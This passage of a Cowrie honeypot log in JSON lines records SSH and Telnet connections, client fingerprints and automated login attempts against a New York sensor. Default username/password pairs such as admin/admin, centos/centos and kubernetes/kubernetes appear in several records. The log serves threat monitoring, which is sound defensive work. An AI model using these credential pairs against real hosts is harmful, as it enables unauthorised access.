cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:37.407532Z","src_ip":"45.156.87.204","session":"23ce1f3becf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:37.730646Z","src_ip":"45.156.87.204","session":"23ce1f3becf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00146675109863,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:38.387065Z","src_ip":"152.42.224.71","session":"a19699682827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:38.815272Z","src_ip":"45.156.87.204","session":"23ce1f3becf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.75.153","src_port":11282,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ad0a564b9e","protocol":"ssh","message":"New connection: 34.14.75.153:11282 (159.203.135.109:22) [session: 29ad0a564b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:39.162984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:39.243140Z","src_ip":"34.14.75.153","session":"29ad0a564b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.75.153","src_port":11288,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4acd2b10d2","protocol":"ssh","message":"New connection: 34.14.75.153:11288 (159.203.135.109:22) [session: 0a4acd2b10d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:39.401556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:39.407177Z","src_ip":"34.14.75.153","session":"0a4acd2b10d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:39.485689Z","src_ip":"34.14.75.153","session":"0a4acd2b10d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26eaa590172","protocol":"telnet","message":"New connection: 152.42.224.71:47134 (10.17.0.5:23) [session: c26eaa590172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.451064Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.631559Z","src_ip":"34.14.75.153","session":"0a4acd2b10d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43792,"dst_ip":"159.203.135.109","dst_port":22,"session":"c27bdc87c4b3","protocol":"ssh","message":"New connection: 45.156.87.204:43792 (159.203.135.109:22) [session: c27bdc87c4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.656581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.664462Z","src_ip":"45.156.87.204","session":"c27bdc87c4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.712841Z","src_ip":"34.14.75.153","session":"0a4acd2b10d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.717345Z","src_ip":"34.14.75.153","session":"29ad0a564b9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.746806Z","src_ip":"45.156.87.204","session":"c27bdc87c4b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:40.993033Z","src_ip":"45.156.87.204","session":"c27bdc87c4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:41.264426Z","src_ip":"34.14.75.153","session":"29ad0a564b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:42.077822Z","src_ip":"45.156.87.204","session":"c27bdc87c4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47140,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebac9441b2eb","protocol":"telnet","message":"New connection: 152.42.224.71:47140 (10.17.0.5:23) [session: ebac9441b2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:43.034833Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54060,"dst_ip":"159.203.135.109","dst_port":22,"session":"12169b311ee1","protocol":"ssh","message":"New connection: 45.156.87.204:54060 (159.203.135.109:22) [session: 12169b311ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.073207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.080435Z","src_ip":"45.156.87.204","session":"12169b311ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.942823886871338,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.151779Z","src_ip":"152.42.224.71","session":"f86770748caf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.171101Z","src_ip":"45.156.87.204","session":"12169b311ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":39998,"dst_ip":"159.203.135.109","dst_port":22,"session":"1556edf0fed3","protocol":"ssh","message":"New connection: 42.200.78.78:39998 (159.203.135.109:22) [session: 1556edf0fed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.191714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.197120Z","src_ip":"42.200.78.78","session":"1556edf0fed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.412677Z","src_ip":"42.200.78.78","session":"1556edf0fed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:44.419055Z","src_ip":"45.156.87.204","session":"12169b311ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:45.304643Z","src_ip":"42.200.78.78","session":"1556edf0fed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:45.504238Z","src_ip":"45.156.87.204","session":"12169b311ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f4fed57893","protocol":"telnet","message":"New connection: 152.42.224.71:47144 (10.17.0.5:23) [session: c5f4fed57893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:45.805580Z"}
{"eventid":"cowrie.session.closed","duration":39.09202265739441,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:46.121542Z","src_ip":"152.42.224.71","session":"b8fdc6d73faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:46.522839Z","src_ip":"42.200.78.78","session":"1556edf0fed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"08fcb3d22f1f","protocol":"ssh","message":"New connection: 45.156.87.204:54070 (159.203.135.109:22) [session: 08fcb3d22f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:47.571674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:47.637344Z","src_ip":"45.156.87.204","session":"08fcb3d22f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:47.773616Z","src_ip":"45.156.87.204","session":"08fcb3d22f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:48.022387Z","src_ip":"45.156.87.204","session":"08fcb3d22f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:49.108409Z","src_ip":"45.156.87.204","session":"08fcb3d22f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.90082836151123,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:50.770081Z","src_ip":"152.42.224.71","session":"b27c93649c6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54078,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba0c147a392","protocol":"ssh","message":"New connection: 45.156.87.204:54078 (159.203.135.109:22) [session: 9ba0c147a392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:51.092937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:51.097897Z","src_ip":"45.156.87.204","session":"9ba0c147a392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:51.184498Z","src_ip":"45.156.87.204","session":"9ba0c147a392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:51.437054Z","src_ip":"45.156.87.204","session":"9ba0c147a392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.8341178894043,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:51.579319Z","src_ip":"152.42.224.71","session":"cf2351994d24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:52.563996Z","src_ip":"45.156.87.204","session":"9ba0c147a392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.552263259887695,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:54.003177Z","src_ip":"152.42.224.71","session":"c26eaa590172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"00124dd4c137","protocol":"ssh","message":"New connection: 45.156.87.204:45148 (159.203.135.109:22) [session: 00124dd4c137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:54.438972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:54.443279Z","src_ip":"45.156.87.204","session":"00124dd4c137","protocol":"ssh"}
